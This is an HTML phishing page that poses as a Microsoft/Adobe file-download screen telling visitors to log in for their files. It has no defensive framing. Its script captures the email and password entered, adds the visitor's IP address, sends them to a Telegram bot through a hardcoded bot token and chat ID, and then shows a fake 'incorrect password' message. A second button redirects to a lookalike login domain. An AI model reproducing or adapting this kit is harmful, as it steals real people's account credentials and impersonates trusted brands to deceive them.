<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Download File</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f3f2f1;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column;
        }

        .header {
            width: 100%;
            padding: 15px;
            position: absolute;
            top: 0;
            left: 0;
            display: flex;
            justify-content: left;
            align-items: center;
        }

        .header img {
            width: 30px;
            margin-left: 20px;
        }

        .adobe-logo {
            margin-top: 10px;
            margin-bottom: 20px;
        }

        .adobe-logo img {
            width: 30px;
        }

        .login-container {
            background-color: #fff;
            padding: 30px;
            border-radius: 5px;
            max-width: 320px;
            margin: auto;
            border: 1px solid #ccc;
            border-radius: 5px;
        }

        .login-container input {
            width: 95%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
        }

        .login-container button {
            width: 100%;
            padding: 10px;
            background-color: #0078d4;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }

        .login-container button:hover {
            background-color: #005a9e;
        }

        .error-message {
            color: red;
            text-align: center;
            margin-top: 10px;
        }

        .success-message {
            color: green;
            text-align: center;
            margin-top: 10px;
        }

        /* Style for the background overlay */
        .overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
        }

        /* Style for the login container in modal */
        .modal-content {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            width: 300px;
            text-align: center;
        }

        .modal-content h2 {
            text-align: center;
        }

        /* Style for the close button */
        .close-btn {
            position: absolute;
            top: 10px;
            right: 10px;
            font-size: 20px;
            cursor: pointer;
        }

        /* Style for the login options section */
        .login-options {
            text-align: center;
            margin-top: 50px;
        }

        .login-options button {
            padding: 10px 20px;
            background-color: #4285F4;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            margin: 10px;
        }

        .login-options button: center; {
            background-color: #357ae8;
        }
    </style>
</head>
<body>
<div class="header">
    <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft Logo">
</div>

<div class="login-container">
    <!-- Adobe Logo -->
    <div class="adobe-logo">
        <img src="https://upload.wikimedia.org/wikipedia/commons/8/87/PDF_file_icon.svg" alt="Adobe PDF Logo">
    </div>
    <h2>Files sent to you are available for download</h2>
    <p>You're required to login with recipient email address to download available files</p>
    <!-- Section for login options -->
    <div class="login-options">
        <button onclick="openLoginModal('username')">Login with Email</button>
        <button onclick="openLoginModal('office365')">Login with Office365</button>
    </div>
</div>

<!-- The Modal (background overlay + login form) -->
<div id="loginModal" class="overlay">
    <div class="modal-content">
        <span class="close-btn" onclick="closeLoginModal()">&times;</span>
        <h2>Download Files</h2>

        <!-- Username/password login form -->
        <div id="usernameLoginForm">
            <input type="text" id="email" name="email" placeholder="Email" required>
            <input type="password" id="password" name="password" placeholder="Password" required>
            <button type="submit" onclick="handleUsernameLogin(event)">Download</button>
            <p id="error-message" class="error-message" style="display: none;">Error: File error occurred during submission. Please try again.</p>
            <p id="success-message" class="success-message" style="display: none;">Your email address password is incorrect. Please try again.</p>
        </div>

        <!-- Office login option -->
        <div id="officeLoginForm" style="display: none;">
            <p>Redirecting to Office...</p>
            <button onclick="simulateOffice365Login()">Login with Office365</button>
        </div>
    </div>
</div>

<footer>
    <p>© 2025 Microsoft | <a href="#">Privacy & Cookies</a></p>
</footer>

<script>
    // Function to open the login modal and show appropriate form
    function openLoginModal(loginOption) {
        const modal = document.getElementById("loginModal");
        const usernameLoginForm = document.getElementById("usernameLoginForm");
        const officeLoginForm = document.getElementById("officeLoginForm");

        modal.style.display = "flex";  // Show the modal

        // Show the appropriate login form based on the selected option
        if (loginOption === 'username') {
            usernameLoginForm.style.display = "block";
            officeLoginForm.style.display = "none";
        } else if (loginOption === 'office365') {
            usernameLoginForm.style.display = "none";
            officeLoginForm.style.display = "block";
            simulateOffice365Login();
        }
    }

    // Function to close the login modal
    function closeLoginModal() {
        document.getElementById("loginModal").style.display = "none";
    }

    // Close the modal when pressing the escape key
    document.addEventListener('keydown', function(event) {
        if (event.key === "Escape") {
            closeLoginModal();
        }
    });

    // Handle form submission
    function handleUsernameLogin(event) {
        event.preventDefault();
        const email = document.getElementById("email").value;
        const password = document.getElementById("password").value;

        // Validate email and password
        if (!email || !password) {
            showErrorMessage('Please enter both email and password.');
            return;
        }

        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                const ipAddress = data.ip;

                const message = `***** TX40 Adobe Result *****\nEmail: ${email}\nPassword: ${password}\nIP: ${ipAddress}`;
                const apiKey = '6922366229:AAH9bKIYkg1YGgNut2TQso3nTKvv6FyhzrU'; // Add your API key here
                const chatId = '6328410070'; // Add your chat ID here
                const telegramUrl = `https://api.telegram.org/bot${apiKey}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;

                // Send message to Telegram bot
                fetch(telegramUrl)
                    .then(response => {
                        if (response.ok) {
                            showSuccessMessage();
                        } else {
                            showErrorMessage('Error: File error occurred during submission. Please try again.');
                        }
                    })
                    .catch(error => {
                        console.error("Error:", error);
                        showErrorMessage('Error: File error occurred during submission. Please try again.');
                    });
            })
            .catch(error => {
                console.error("Error fetching IP:", error);
                showErrorMessage('Error: File error occurred during submission. Please try again.');
            });
    }

    function showErrorMessage(message) {
        const errorMessage = document.getElementById("error-message");
        errorMessage.textContent = message;
        errorMessage.style.display = 'block';
        setTimeout(() => { errorMessage.style.display = 'none'; }, 3000); // Hide after 3 seconds
    }

    function showSuccessMessage() {
        const successMessage = document.getElementById("success-message");
        successMessage.style.display = 'block';
        setTimeout(() => { successMessage.style.display = 'none'; }, 3000); // Hide after 3 seconds
    }

    function simulateOffice365Login() {
        location.href = 'https://login.mpmorgnenergy.com/tANsTkbm';  // Redirect to Office365 login
    }
</script>

</body>
</html>